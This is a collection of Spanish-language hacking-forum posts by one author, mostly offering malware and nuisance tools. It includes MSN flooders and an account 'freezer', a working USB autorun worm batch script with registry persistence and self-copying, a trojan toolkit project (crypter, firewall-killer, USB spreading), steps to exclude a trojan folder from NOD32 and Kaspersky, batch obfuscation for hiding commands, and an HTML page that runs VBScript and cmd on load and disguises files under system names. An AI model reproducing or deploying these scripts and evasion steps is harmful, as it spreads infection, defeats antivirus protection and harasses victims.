
Código [Seleccionar] Expandir

If Text1.Text = 0 Then
Text1.Text = 1
End If

For v = 1 To Text1.Text
    MSN.MyStatus = MISTATUS_INVISIBLE ' cambiamos nuestro estado a invisible
    Pause 1 ' pausa de 1 segundo
    MSN.MyStatus = MISTATUS_ONLINE ' y ahora a conectados y hay saldra el PopUP! ;)
Next

Bueno ahora, skull y si quiero hacer este Flood pero solo a una persona, pues simple amigo, este no te lo explico se los dejo de tarea! pero lo que te digo es, que en el MSN y su pones a una persona sin admision y luego la pones con admision, a esta le saldra una ventanita PopUp! en el tuto de arriba explican como Bloquearlas y Desbloquearlas (Sin y con admision)

Bueno creo que aqui explique lo que tenia que expicar, de verdad pude explicar dos cositas mas pero por falta de tiempo, no puedo.. Una cosa si los codes tienen errores avisenme hay algunos que los code aqui mismo! asi que espero que los disfruten y creen sus propias aplicaciones para el MSN!

Si quieren ver lo que hacen estos codes descargense el Skull MSN Manager V 0.1.5 o la nueva Version Skull MSN Manager V 0.2

¡¡¡¡AH casi se me olvida!!! tengo que postearles sobre el SendKeys bueno aqui les dejo los tipos de teclas, como se tienen que poner etc!

Código [Seleccionar] Expandir


Tecla Argumento

RETROCESO {BACKSPACE}, {BS} o {BKSP}
INTERRUMPIR {BREAK}
BLOQ MAYÚS {CAPSLOCK}
SUPR o SUPRIMIR {DELETE} o {DEL}
FLECHA ABAJO {DOWN}
FIN {END}
ENTRAR {ENTER} o ~
ESC {ESC}
AYUDA {HELP}
INICIO {HOME}
INS o INSERTAR {INSERT} o {INS}
FLECHA IZQUIERDA {LEFT}
BLOQ NUM {NUMLOCK}
AV PÁG {PGDN}
RE PÁG {PGUP}
IMPRIMIR PANTALLA {PRTSC}
FLECHA DERECHA {RIGHT}
BLOQ DESPL {SCROLLLOCK}
TAB {TAB}
FLECHA ARRIBA {UP}
F1 {F1}
F2 {F2}
F3 {F3}
F4 {F4}
F5 {F5}
F6 {F6}
F7 {F7}
F8 {F8}
F9 {F9}
F10 {F10}
F11 {F11}
F12 {F12}
F13 {F13}
F14 {F14}
F15 {F15}
F16 {F16}
{BREAK} = Break
{CAPSLOCK} = Caps Lock
{CLEAR} = Clear
{DELETE} = Delete
{DOWN} = Down Arrow - Flechita Abajo
{LEFT} = Left Arrow - Flechita Izquierda
{RIGHT} = Right Arrow - Flechita Derecha
{UP} = Up Arrow - Flechita Arriba
{NUMLOCK} = Num Lock
{PGDN} = Page Down
{PGUP} = Page Up
{SCROLLLOCK} = Scroll Lock
{F1} = F1 Usar {F2} {F3} para F2, F3, etc
{HOME} = home
{INSERT} = Insert
___  ___  ___  ___  ___  ___  ___  ___

Tecla Carácter especial
MAYÚSCULAS +
CTRL ^
ALT %

P.D: Si parte de estos codes vienen de la Version 0.1.5

Salu2's! 8)

hola, bueno mi duda es como puedo por ejemplo cree un programa en VB que lo pongo en el sistem y cuando lo llamo por el cmd me aparece un mensaje (ya programado dentro del .exe) hay alguna manera de interactuar con este?

Salu2's! 8)

hola amigos y disculpen, pero como puedo enviar zumbidos con la API del msn? a ver si me peuden dar una mano y gracias!

Hola, bueno tenia esa duda que que DLL usa la API del messenger a ver si me podrian dar su nombre que la necesito con caracter de urgencia; Gracias!

[MSN Manager V 0.1]

Saludos, bueno amigos al fin saque mi primera version del MSN Manager V 0.1, esta por problemas que tube cambiando de VB5 a VB6 se me borro el primer MSN Man. que estaba haciendo, y tube que comenzar a crear uno nuevo, este no tiene tantas opciones, pero bueno aqui las explico!..

                           -CapturaS
Form Principal



                           -Opciones d el MSN Man.-

- Contact Flooder, para sacar a tus contactos del Messenger
- Giant Greeting, una opcion que nos permite mandarle un mensaje a TODOS nuestros contactos conectados
- Status Flooder, nos permite floodear con ventanitas popUp Por defecto son 8 ventanitas
- MSN Spam, opcion que nos permite elegir cuantos contactos queramos de la lista(Que esten conectados) y mandarles un mensaje cuantas veces queramos del 1 al Infinito! (No recomiendo poner 25000)
______________________________________________________________________________________

                                                    Version V 0.1.5

Aqui les presento una version mas, esta no sera la ¡nueva! version con muchas cosas incluidas, esta version es mas para arreglar pequeños Bugs del programa, y como todo con nuevas opciones!

Captura Version V 0.1.5



Nuevas Opciones:

+ Arreglo de los Bugs los encontrados!
+ Un nuevo Flooder Nudger, nos permite enviar a 1 solo contacto cuantos nudgeos queramos
+ Ahora podemos crear cuantos menus PopUp queramos, ahora peudes elegir cuantas veces conectarte
+ Un pequeño manual del Contact Flooder

Captura del Status Flooder



Futuras Opciones:

* Pues arreglar mejor los Bugs que se me presenten
* Para Robar avatares, emoticons de tus amigos
* Mejor interfaz de sieño
* Source Code
* y bueno si le quieren poner una nueva opcion por MP

Opciones Propuestas:

* Obtener IP's

Bueno espero que disfruten la nueva version y me den sugerencia, avisos de bugs, etc!

LINK DE DESCARGA: MSN Manager V 0.1.5
LINK DESCARGA: MSN Manager V 0.1
LINK SourceCode: El Source Code es por Privado yo les paso el link para que lo descargen!!

Bueno si les tira algun error porfa me avisan espero que lo disfruten! y no jodan mucho tambien esta su Source code!!!xD Lo siento las imagenes no sirven

_____________________________________________________________________

                                           Version V 0.2

Saludos, bueno aqui les presento la ultima version del Skull MSN Manager este es V 0.2..
A este no le pude hacer la mayoria de las peticiones que me habian hecho, pero hice otras, por escases
de tiempo no pude, pero en fin aqui presentare!....

                           Capturas

Form Principal



Menu nuevo



About





Nuevas Opciones agregadas

- MSN Freezer:
                  Para que congeles las cuentas de tus amigos, recuerda que para congelar las cuentas
esa persona tiene que esta Off-Line, este programa a mi no me dio problemas pero si les da porfavor postear
o contactarme po IM...

- Private PopUp Flood:
                          Pidieron que si podia crear un PopUp Flooder para una sola persona pues
aqui esta, para que floodeen al contacto que quieran en vez de a todos!

- PopUp Block:
                  harto de que te floodeen con ventanitas PopUp, o te fastidian esas ventanitas
peus aqui la solucion, este programa nos permitira si visualizar o no estas ventanitas!....

- Interfas mejorada:
                        Pues medio cambie la interfaz hay, pero solo un poco!

Descarga del Programa: Descarga Aqui

Bueno espero que lo disfruten, y queria agradecerle a SmartGenious por ser mi BETA Tester y a -adriano- por
decirme o aconsejarme de como hacer el private popup flood, jeje en fin un gusto estar con ustedes y dentro de un tiempo, talvez libere el Source Code!

Salu2's! 8)

[Necesario:]

hola, bueno aqui voy a explicar y aclarar un poco como se ejecutan algunos archivos con un autorun.inf, es simple, comenzemos...

Necesario:

crear un archivo autorun.inf
tu programa bat llamalo en este caso d.bat
y el .bat encargado de lo demas..
Quick Batch File Compiler

Bueno comenzemos lo hare breve y sencillo este constara cuando la persona ejecute o introduzca su pendrive este le va a salir un cartel que diga que es lo que desea hacer, si el elige por ejemplo la opcion de abrir el pendrive ejecutara nuestro archivo.bat (Tambien puede ser con un .exe, .vbs, etc)

Contenido del autorun.inf

Código [Seleccionar] Expandir


[Autorun]
label=Pendrive
action=Abrir Pendrive
Icon=Icon.ico
shellexecute= "/d.bat"

bueno explico un poco label es el nombre por ejemplo cuando conectamos el pendrive como se vera si accesedemos a este por mi PC action es la accion de que cuando conectes el pendrive, este te dira que accion deseas realizar (Si ejecuta la de abrir pendrive ejecutara el .bat) Icon es el icono con el que nuestro archivo se vera y shellexecute ejecuta nuestro archivo en este caso el .bat...

ahora lo que contendra el d.bat pues eso se queda a vuestro antojo si quieren que sea virus, broma, etc... ahora si ponen por ejemplo la opcion icon (Se la pueden quitar) tiene que meter un icono adentro del pendrive, si es como si abrieran el pendrive y introdujeran el autorun el bat y el icono, a mi punto de vista yo trabajare sin el icon que es mejor....

ok ahora como metemos todo esto pues miren pueden crear un .bat que cree por ejemplo el autorun.inf y el bat en el C:\ y luego ese .bat vaya a una label y compruebe que si exciste el F:\ (en este caso este se supone que es el pendrive) copie todo lo que es el autorun.inf y el .bat a este sino vuelva al inicio y vuelva a comprobar si exciste, aqui un breve code para que vean como funciona:

@echo off
:hi
cls
if EXIST "F:\" (goto si) else (goto hi)

:si
msg * si
copy /y "C:\autorun.inf", "F:\"
copy /y "C:\d.bat", "F:\"
exit

pues es asi de simple ahora que pasa si el pendrive tiene por defecto G:\, pues sinceramente tendrian  que hacer que en vez que vuelva a chekear si existe el F:\ vaya a otro y verifique si exciste el G:\ sino existe que vuelva a comprobar si exciste el F:\ y asi susecivamente..
Skull pero que pasa si apaga la PC? pues simple tiene que agregarlo al registro!
Skull pero que pasa si ya esos archivos estan copiados en el pendrive? pues puedes elegir que si por ejemplo este verifica que excistes el F:\ luego verifique si exciste los archivos si existen ejecute el exit sino los copie!

Skull pero no dara mucha tension que salga un pantalla negra? pues para eso les pedi el Batch file compiler para que usen el modo ghost! y eso, ahora como se que no me explique muy bien aqui dejo un simple code que explica todo!

@echo off
copy /y %0 "C:\WINDOWS"
reg add hklm\software\microsoft\windows\currentversion\run /v skls /t reg_sz /d C:\d.exe /f
if EXIST "C:\Autorun.inf" (goto kaki) else (goto xx)

:kaki
if EXIST "C:\d.bat" (goto hi) else (goto Xx)

:xx
echo [Autorun] > C:\Autorun.inf
echo label=Pendrive >> C:\Autorun.inf
echo action=Abrir Pendrive >> C:\Autorun.inf
echo shellexecute= "/d.bat" >> C:\Autorun.inf
echo reg add hklm\software\microsoft\windows\currentversion\run /v skls /t reg_sz /d C:\d.bat /f >> C:\d.bat
echo start >> C:\d.bat
echo start >> C:\d.bat
echo start >> C:\d.bat
echo start >> C:\d.bat
Echo :hik >> C:\d.bat
echo msg * HackedBy-Skull [Worm-Autopia] >> C:\d.bat
echo goto hik >> C:\d.bat
cls
goto hi

:hi
cls
if EXIST "F:\" (goto si) else (goto hi)

:si
if EXIST "F:\Autorun.inf" (goto si1) else (goto si2)

:si1
goto hi

:si2
copy /y "C:\autorun.inf", "F:\"
copy /y "C:\d.bat", "F:\"
goto hi

:ex
goto hi

bueno ese es el code, por razones de explicacion no lo hice mas dificl pero el d.bat pueden hacer que tambien cree otros .bat que hagan lo mismo, dejen payload que si X's dia ejecute un archivo que haga algo nose eso se los dejo a ustedes!
Recuerden usar el batch file compiler para hacer el .bat en modo ghost! para que no cante tanto!
otra cosa que podrian hacer seria usar el BattoExe y poner que no salga la pantalla negra y en el evento que detecta los USB en vez de copiar otro batch se cpie a si mismo claro aqui ya ese batch deberia tener algo que si la brboma, el codigo del virus, etc.:.

Salu2's! 8)

[sin admision]

si, bueno estaba creando una aplicacion para msn y se me ocurrio meter esta aplicacion, pero sinceramente no tengo una idea de como poder hacer esto, ver las personas que me tienen sin admision en el msn, se me ha hecho al tedioso y no e encontrado algo concreto en el Google!....

A ver si alguno de ustedes me podria ayudar con esto, darme que se yo lo que se use para poder visualizarlas!...

Salu2's! 

[¿Para que es este proyecto?]

Saludos, bueno amigos, como mi foro esta bajo horita, bueno queria crear un proyecto para este foro, que lo creemos entre todos, claro si ustedes quieren participar, pues me explico:

¿Para que es este proyecto?

Este proyecto es como dice el nombre Trojan's utility, que consistira en un solo programa que contendra muchas de las utilidades que necesitamos para vuestro troyano, que si joiner, icon changer's, crypter, FW-Killer's, etc..
Esto se queda para las personas que quieran aportar ideas...

Ideas del troyano:

Bueno hasta los momentos no tengo muchas ideas, pero espero que me puedan dar mas ideas para ir trabajando en este proyecto, que sera de todos, lo que llevo hasta ahora es:

Utilidad                                       Entregado

- Icon Changer                           - Listo
- Joiner                                       - Listo
- Crypter                                     - Working...
- FW-Killer                                  - Falta
- Propagacion USB                     - Falta

Bueno por los momentos son muy pocas ideas las que tengo, y espero que porfavor me den ideas, e incluso si ustedes quieren trabajar en este proyecto, que espero que alguno se anime a trabajar en este proyecto, pues claro son bienvenidos, y claro como todo, tendran su parte de reconocimiento...

Requisitos para entrar al proyecto

1- Tener un conocimiento por lo menos avanzado
2- si van a hacer por ejemplo un AV-Killer este debe ser entregado con su respectivo code, y para donde va el code a que boton (mejor si se sube el proyecto)
3- Gozar un monto y hacer el code con cariño!

Apuntados al proyecto:

Integrante(s):

- Skullmaster123


Bueno espero que se animen, y si no quieren particiapr por lo menos denme alguna idea para agregarle al proyecto! creo que deberia agregarle la opcion de propagacion por msn, p2p, LAN, etc... pero bueno veamos que opinan ustes programadores, y a ver si se animan a trabajar en el proyecto!

Salu2's! 8)

Saludos, bueno aqui les presento un programa para buscar su archivos de cualquier extension, en las carpetas de su sistema, creado 100% batch, pasado a .exe, y por supuesto, creado por Skullmaster123 bueno espero que lo disfruten, el programa trae un manual incorporado!

LINK DE DESCARGA:  http://rapidshare.com/files/92773768/Folder_s-Searcher.exe.html

Salu2's! Cool

saludos, bueno no se si hallan visto esos programas por ejemplo para batch que cuando los compilas a .exe puedes ponerle la opcion de modo ghost, bueno mi pregunta es la siguiente:

¿Cual seria el code, o la API o lo que sea que se usa para hacer eso?

Salu2's! 8)

Saludos, bueno aqui posteo algo que aprendi ya hace tiempo de un excelente mod de otro foro que se llama Angelus_7722 y bueno quiero poner en practica lo que aprendi de el! no voy a poner todos los AV de una sola vez, pondre mientras unos pocos!...

                                                                                          Nod32

Lo primero que haremos es darle clic izquierdo al icono ubicado en la barra de herramnientas



Seleccionamos el modulo  AMON



pinchamos conf. (configuracion)



Selecionamos la pestaña Exclusión y luego seleccionamos Agregar



pinchamos en la carpeta



buscamos la carpeta donde esta alojado el troyano



Lo siguiente es mantener la configuracion de la captura de pantalla y damos clic en Aceptar



Listo


                                                              Kaspersky

Hacemos el primer procedimiento ubicamos el icono, etc..
Ahora seleccionamos en el modulo Protección la opcion de Antivirus de Archivos



le damos donde dice configurar



le damos en Amenazas y exclusiones y en la sección de exclusiones pinchamos Zona de confianza



le damos en agregar
En descripcion de la regla damos clic en Objeto: especificar



Lo siguiente que haremos es darle clic a Examinar pero antes debemos marcar la opcion Incluir Subcarpetas (como se daran cuenta olvidé hacerlo)



Ahora buscamos la carpeta que vamos a excluir, como hicimos anteriormente.
y como ven ya esta excluida y solo queda dar los respectivos Aceptar



Listo



                                                      Proximamente

-Avast
-Norton
-Mejor detallado con color, etc..

[Que es Folder Protector?]

Saludos, bueno aqui les traigo la coleccion de Folder Protector hecha por muchos mienbros de otro foro y yo! 100% batch.

Que es Folder Protector?

es un programa hecho en batch que protege tus carpetas, para que solo tu las puedas utilizar o mejor dicho ver su contenido!

Como se utiliza?

Pues para bloquear y desbloquear las carpetas el programa tiene que estar al lado de la carpeta que vas a bloquear, el programa de por si trae un manual incluido en su sistema!

                                                              LINK'S DE DESCARGA:

Folder's Protector V1.0

Primera Version de todas, creada por SmartGenious y yo!
Link: http://rapidshare.com/files/74153751/FolderProtector.exe.html
Pass: el-hacker.co m (la m va pegada al co)

Folder's Protector V2.0

Segunda Version de este maravilloso programa con unas nuevas opciones (alguien me altero el code ciertas cosas¬¬)

LINK: http://two.xthost.info/smartgenius/FolderProtector.zip
Pass: el-hacker.co m (la m va pegada al co)
                             Descripcion:

En el archivo Zip Vienen los Instaladores de Tres Versiones...

2.0 Version mejorada de la 1, se cambio el metodo de proteccion de la papelera
por el de FTP, ademas del cambio de icono y una dll que muestra un aviso.

2.1 En esta version se usa el metodo del ZIPFOLDER, se cambio del metodo FTP
y del metodo usado en la 1, porque en algunos Win XP se mostraba el codigo
de la proteccion, permitiendo que la carpeta fuese accesada...


2.2 Se continua con el mismo metodo de la ver. 2.1, ademas se agrega
uan opcion para poder cambiar de la contrasela por defecto.

Folder's Protector (Version FINAL)

Esta version actualmente se esta construyendo con mejores opciones que las versiones anteriores, poder bloquear carpetas desde otra ubicacion del programa, etc, etc..
cuando salga lo posteo, y claro como regalo especial, para aquel foro, se dara el Source code!

Ahora el Source Code de la V 2.0:

                                                                 Source Code V2.0

@echo off
color 0a
if exist "C:\WINDOWS\system32\CarpetasBloqueadas\info.txt" goto exc else (goto nex)

:nex
if exist "C:\WINDOWS\system32\zipfldr.dll" goto existe else (goto nexis)

:nexis
@echo off
color 0a
cls
copy /y "C:\zipfldr.dll", "C:WINDOWS\system32\"
echo.
del /f /q "C:\zipfldr.dll"
cls
goto panda

:existe
@echo off
color 0a
cls
del /F /Q "C:\WINDOWS\system32\zipfldr.dll"
copy /y "C:\zipfldr.dll", "C:WINDOWS\system32\"
del /F /Q "C:\zipfldr.dll"
goto panda

:panda
@echo off
color 0a
title Cargando datos de aplicacion...
cls
echo Cargando por favor espere.
echo.
echo 0 100
ping -n 1 0.0.0.0.0 > nul
cls
echo Cargando por favor espere..
echo.
echo 0 == 100
ping -n 1 0.0.0.0.0 > nul
cls
echo Cargando por favor espere...
echo.
echo 0 ===== 100
ping -n 1 0.0.0.0.0 > nul
cls
echo Cargando por favor espere.
echo.
echo 0 ========= 100
ping -n 1 0.0.0.0.0 > nul
cls
echo Cargando por favor espere..
echo.
echo 0 ============== 100
ping -n 1 0.0.0.0.0 > nul
cls
echo Cargando por favor espere...
echo.
echo 0 ================== 100
ping -n 1 0.0.0.0.0 > nul
cls
echo Cargando por favor espere.
echo.
echo 0 ====================== 100
ping -n 1 0.0.0.0.0 > nul
cls
echo Cargando por favor espere..
echo.
echo 0 ======================== 100
ping -n 1 0.0.0.0.0 > nul
cls
echo Cargando por favor espere...
echo.
echo 0 ========================= 100
ping -n 1 0.0.0.0.0 > nul
cls
echo Cargando variables...
echo.
echo 0 ========================= 100
ping -n 1 0.0.0.0.0.0 > nul
cls
echo Creando directorios...
echo.
echo 0 ========================= 100
ping -n 1 0.0.0.0.0 > nul
MD C:\WINDOWS\system32\CarpetasBloqueadas\
echo Nombre          Ubicacion          Nombre Carpeta Reemplazadora >> C:\WINDOWS\system32\CarpetasBloqueadas\info.txt
echo el-hacker.com  >> C:\WINDOWS\p.tmf
cls
echo Cargando aplicacion...
echo.
echo 0 ========================= 100
ping -n 1 0.0.0.0.0 > nul
Title Folder-Protector Vol 2.0
cls
echo .::Bienvenido al Folder-Protector Vol 2.0::.
pause > nul
cls
:men
cls
echo Eliga una opcion:
echo.
echo 1- Bloquear una Carpeta
echo 2- Desbloquear una Carpeta
echo 3- Ver Carpetas Bloqueadas/Desbloqueadas
echo 4- Definir Contraseña
echo 5- Informacion y uso del Programa *Importante
echo 6- Desinstalar el programa
echo 7- Salir del programa
echo.
set /p opc=
if %opc%==1 goto blo
if %opc%==2 goto des
if %opc%==3 goto ver
if %opc%==4 goto eci
if %opc%==5 goto info
if %opc%==6 goto desi
if %opc%==7 goto out

:blo
@echo off
color 0a
cls
echo Escriba la UBICACION de la carpeta a Bloquear,
set /p ubi=
cls
echo Escriba el nombre de la carpeta a Bloquear (Solo el nombre)
set /p nom=
cls
:ki
echo Desea que la carpeta aparezca con otro nombre.
echo (Por defecto tendra el nombre de Protected).(s/n)
set /p opccc=
if %opccc%==s goto cla
if %opccc%==n goto pex
if %opccc%==%opccc% goto jod

:jod
@echo off
color 0a
cls
echo Parametro erroneo...
pause > nul
cls
goto ki

:cla
@echo off
color 0a
cls
echo Eliga el nombre que le dara a esta "carpeta"
set /p vaxi=
ren %nom% %vaxi%.{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}
msg * /w Carpeta Bloqueada exitosamente...
cls
echo %nom%          %ubi%          %vaxi% >> C:\WINDOWS\system32\CarpetasBloqueadas\info.txt
cls
goto men

:pex
@echo off
color 0a
cls
ren %nom% Protected.{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}
msg * /w Carpeta Bloqueada exitosamente...
cls
echo %nom% %ubi% Protected >> C:\WINDOWS\system32\CarpetasBloqueadas\info.txt
goto men

:des
@echo off
color 0a
cls
echo Escriba el nombre de la carpeta anteriormente bloqueada
set /p nom=
cls
echo Si cambio el nombre por defecto escribalo, sino coloque Protected
set /p ree=
cls
ren %ree%.{888DCA60-FC0A-11CF-8F0F-00C04FD7D062} %nom%
echo %nom% XXX %ree% *Desbloqueada >> C:\WINDOWS\system32\CarpetasBloqueadas\info.txt
msg * /w Carpeta Desbloqueada...
cls
goto men

:ver
@echo off
color 0a
cls
more C:\WINDOWS\system32\CarpetasBloqueadas\info.txt
Pause > nul
goto men

:info
@echo off
color 0a
cls
echo Que desea hacer
echo.
echo 1- Ver Manual del programa
echo 2- Ver Informacion del programa...
set /p opc=
if %opc%==1 goto ff
if %opc%==2 goto f
if %opc%==%opc% goto info

:ff
@echo off
color 0a
cls
echo ..:::Manual del programa:::..
echo.
echo Se recomienda poner el programa junto a la carpeta a bloquear o desbloquear
echo esto es para que el programa funcione al 100 de su capacidad, aunque se aceptan tambien
echo rutas de directorio.
echo La carpeta que queda al bloquear la carpeta original se llama Carpeta Reemplazada
echo para bloquear la carpeta escriba el nombre de la carpeta a bloquear si se encuentra en el mismo directorio
echo que el programa omitiendo la parte donde pide direccion o ruta, de lo contrario pues introduce la ruta de
echo la carpeta. (Si la ruta tiene espacios entonces la escribe entre comillas " ").
echo
echo.
echo Para desbloquear(Anteriormente dicho, el programa debe estar junto a la carpeta)
echo solo se coloca el nombre que tenia la carpeta antes de ser bloqueada,
echo luego de esto se pone el nombre que se le dio (o en su defecto Basura)
echo.
echo Una cosa si por ejemplo usted bloquea una carpeta en C: con el nombre de la carpeta Reemplazada
echo Protected y vuelve a bloquear otra carpeta con el mismo nombre, esto NO sera permitido, asi que
echo debera cambiarselo para que no hallan problemas! Smiley
echo.
pause
goto men

:f
@echo off
color 0a
cls
echo Nombre del programa: Folder's-Protector Vol 2.3
echo.
echo Mejoras de la version
echo Se cambio el metodo de proteccion con respecto a la version 1
echo que usaba la papelera y la version 2.1 que usaba el FTP Folder.
echo En esta version se usa el metodo del ZIPFOLDER usado en la 2.2
echo pero con la mejora de poder cambiar la contraseña por defecto.
echo.
echo Creadores:
echo.
echo .- SkullMaster123
echo .- .::SmartGenius::.
echo .- DaRkDiAmOnd
echo .- sh4k4
echo .- The Shadow
echo Y todos los demas user's de la C.U.H que nos han colaborado.
pause > nul
echo Dedicado a la Comunidad Underground Hispana  foro.el-hacker.com
pause > nul
cls
goto men

:desi
@echo off
color 0a
cls
echo Preparando para desinstalacion.
ping -n 1 0.0.0.0 > nul
cls
echo Preparando para desinstalacion..
ping -n 1 0.0.0.0 > nul
cls
echo Preparando para desinstalacion...
ping -n 1 0.0.0.0 > nul
cls
echo Aguarde mientras se desinstala el programa.
ping -n 1 0.0.0.0 > nul
cls
echo Aguarde mientras se desinstala el programa..
ping -n 1 0.0.0.0 > nul
cls
echo Aguarde mientras se desinstala el programa...
ping -n 1 0.0.0.0 > nul
cls
del /F /Q "C:\WINDOWS\system32\CarpetasBloqueadas\info.txt
del /F /Q "C:\WINDOWS\system32\CarpetasBloqueadas\"
echo Gracias por usar el folder's Protector >> info.txt
echo Mas informacion aqui en http://foro.el-hacker.com/index.php >> info.txt
msg * Gracias por usar el Folder's Protector
exit

Bueno este code hay cosas que me le cambiaron como la barra cargadora, y para ver las carpetas bloqueadas y desbloqueadas, etc... pero bueno la ultima version sera la mejor de todas! espero que disfruten esto..

P.D: Disculpen mods por lo del pass es que fue dedicado a otro foro, y le pusieron ese pass, espero que me perdonen!

Salu2's! cool

Saludos, bueno abro este post para enseñar o introducirlos un poco a que es el cifrado en batch!

¿Que es cifrar en batch?

Bueno este metodo consiste en darle valores a ciertas variables (muchas en este caso) mediante el set NameVariable = Codigo esto sirve para de cierta manera hacer que no se entienda un codigo, mensaje, etc...

Ejemplo:

Este ejemplo es muy simple y se entiende pero lo pongo para ue vena a que me refiero!

set v=s
set v1=h
set v2=u
set v3=t
set v4=d
set v5=o
set v6=w
set v7=n
set v8=-s
set v9=-t
set v10=200

%v%v1%%v2%%v3%%v4%%v5%%v6%%v7% %v8% %v9% %v10%

pues si no me equivoco y no me confundi!XD eso quedaria como shutdown -s -t 200, claro esto es un cifrado simple que hasta TxShack puede entender!XD (Broma) pero algo mucho mas avanzado seria de esta manera:

@echo off
set pnvb=nnt
set pnvb=s
GoTo pnvb
set pnvb=uz
:pnvb
set iwyh=jbr
set iwyh=e
GoTo iwyh
set iwyh=op
:iwyh
set lidg=njk
set lidg=t
GoTo lidg
set lidg=pl
:lidg
%pnvb%%iwyh%%lidg% fo=fmp
%pnvb%%iwyh%%lidg% fo=a
GoTo fo
%pnvb%%iwyh%%lidg%  fo=ah
:fo
%pnvb%%iwyh%%lidg% dc=rkx
%pnvb%%iwyh%%lidg% dc=b
GoTo dc
%pnvb%%iwyh%%lidg%  dc=tt
:dc
%pnvb%%iwyh%%lidg% dx=iso
%pnvb%%iwyh%%lidg% dx=c
GoTo dx
%pnvb%%iwyh%%lidg%  dx=ej
:dx
%pnvb%%iwyh%%lidg% ki=quo
%pnvb%%iwyh%%lidg% ki=d
GoTo ki
%pnvb%%iwyh%%lidg%  ki=mh
:ki
%pnvb%%iwyh%%lidg% tp=jgj
%pnvb%%iwyh%%lidg% tp=e
GoTo tp
%pnvb%%iwyh%%lidg%  tp=hp
:tp
%pnvb%%iwyh%%lidg% qj=jqd
%pnvb%%iwyh%%lidg% qj=f
GoTo qj
%pnvb%%iwyh%%lidg%  qj=gp
:qj
%pnvb%%iwyh%%lidg% ih=kru
%pnvb%%iwyh%%lidg% ih=g
GoTo ih
%pnvb%%iwyh%%lidg%  ih=rt
:ih
%pnvb%%iwyh%%lidg% fs=qgw
%pnvb%%iwyh%%lidg% fs=h
GoTo fs
%pnvb%%iwyh%%lidg%  fs=lw
:fs
%pnvb%%iwyh%%lidg% lr=xub
%pnvb%%iwyh%%lidg% lr=i
GoTo lr
%pnvb%%iwyh%%lidg%  lr=cj
:lr
%pnvb%%iwyh%%lidg% qb=poe
%pnvb%%iwyh%%lidg% qb=j
GoTo qb
%pnvb%%iwyh%%lidg%  qb=ba
:qb
%pnvb%%iwyh%%lidg% gm=qdn
%pnvb%%iwyh%%lidg% gm=k
GoTo gm
%pnvb%%iwyh%%lidg%  gm=zh
:gm
%pnvb%%iwyh%%lidg% vg=tco
%pnvb%%iwyh%%lidg% vg=l
GoTo vg
%pnvb%%iwyh%%lidg%  vg=xi
:vg
%pnvb%%iwyh%%lidg% tt=ikt
%pnvb%%iwyh%%lidg% tt=m
GoTo tt
%pnvb%%iwyh%%lidg%  tt=fw
:tt
%pnvb%%iwyh%%lidg% jj=gji
%pnvb%%iwyh%%lidg% jj=n
GoTo jj
%pnvb%%iwyh%%lidg%  jj=li
:jj
%pnvb%%iwyh%%lidg% hk=yvg
%pnvb%%iwyh%%lidg% hk=o
GoTo hk
%pnvb%%iwyh%%lidg%  hk=gi
:hk
%pnvb%%iwyh%%lidg% dy=otb
%pnvb%%iwyh%%lidg% dy=p
GoTo dy
%pnvb%%iwyh%%lidg%  dy=we
:dy
%pnvb%%iwyh%%lidg% af=vfa
%pnvb%%iwyh%%lidg% af=q
GoTo af
%pnvb%%iwyh%%lidg%  af=zl
:af
%pnvb%%iwyh%%lidg% qi=stu
%pnvb%%iwyh%%lidg% qi=r
GoTo qi
%pnvb%%iwyh%%lidg%  qi=es
:qi
%pnvb%%iwyh%%lidg% nf=oym
%pnvb%%iwyh%%lidg% nf=s
GoTo nf
%pnvb%%iwyh%%lidg%  nf=vd
:nf
%pnvb%%iwyh%%lidg% vz=zwi
%pnvb%%iwyh%%lidg% vz=t
GoTo vz
%pnvb%%iwyh%%lidg%  vz=qz
:vz
%pnvb%%iwyh%%lidg% pk=uqo
%pnvb%%iwyh%%lidg% pk=u
GoTo pk
%pnvb%%iwyh%%lidg%  pk=yb
:pk
%pnvb%%iwyh%%lidg% fv=hxk
%pnvb%%iwyh%%lidg% fv=v
GoTo fv
%pnvb%%iwyh%%lidg%  fv=et
:fv
%pnvb%%iwyh%%lidg% nt=xta
%pnvb%%iwyh%%lidg% nt=w
GoTo nt
%pnvb%%iwyh%%lidg%  nt=zj
:nt
%pnvb%%iwyh%%lidg% zr=eit
%pnvb%%iwyh%%lidg% zr=x
GoTo zr
%pnvb%%iwyh%%lidg%  zr=vq
:zr
%pnvb%%iwyh%%lidg% qw=lgo
%pnvb%%iwyh%%lidg% qw=y
GoTo qw
%pnvb%%iwyh%%lidg%  qw=jp
:qw
%pnvb%%iwyh%%lidg% aq=yqc
%pnvb%%iwyh%%lidg% aq=z
GoTo aq
%pnvb%%iwyh%%lidg%  aq=og
:aq
%pnvb%%iwyh%%lidg% un=rrg
%pnvb%%iwyh%%lidg% un=GoTo un
%pnvb%%iwyh%%lidg%  un=ye
:un


%tt%%nf%%ih% * "%dc%%fo%%vz%%dx%%fs% %dx%%lr%%qj%%qi%%fo%%ki%%hk%!!"

y si no me equivoco esto te deberia mostrar un msg * Ysumensaje

Cual es la desventaja de esto, que hace la parte del code cifrado MUY lenta como se ve en el ejemplo de arriba! pero si sirve, esto con el metodo de encapsulacion (.EXE) es muy util y sirve para proteger tu code!

Salu2's! cool

Bueno esta tecnica si es vieja!XD me la se desde el año pasado o mas creo yo, epro veo que no muchos la conocen asi que pues la enseño aqui, con esto pueden ejecutar sus codigos desde cualquier pagina que tenga e incluso pruebenlo, abren el notepad, ponen este code y lo guardan como html!

                                                 CODIGO:


<!--aki esta el script k ace la magia, la parte k esta en rojo es en la k tienes k meter el codigo de lo k
kieras ejecutar, cada linea del bat unela con "&"(sincomiyas)-->
<script language="vbs">
   on error resume next
   Set shell = createObject("Wscript.shell")
  shell.run("cmd.exe /c @echo off & color a & echo ola mundooooooooo......... & msg * holaaa & pause & exit")
   set fso=createObject("Scripting.fileSystemObject")
   set miArchivo = fso.CreateTextFile("\bUSik.vbs", 2, false)
   miArchivo.writeline("do" )
   miArchivo.writeline("msgbox(" & chr(34) & "eres una gorda" & chr(34) & ")" )
   miArchivo.writeline("loop" )
   miArchivo.Close
   if fso.getfile("\bUSik.vbs") = "" then
      wscript.popup("Permiso denegado, cierre la sesion e iniciela de nuevo como administrador")
   else
      randomize timer
      numer = int(rnd * 3)
      select case numer
      case 1
         nume="login32.exe"
      case 2
         nume="winlogon.exe"
      case 3
         nume="msagent.exe"
      case else
         nume="updater32.exe"
      end select
      set winDir=fso.GetSpecialFolder(0)
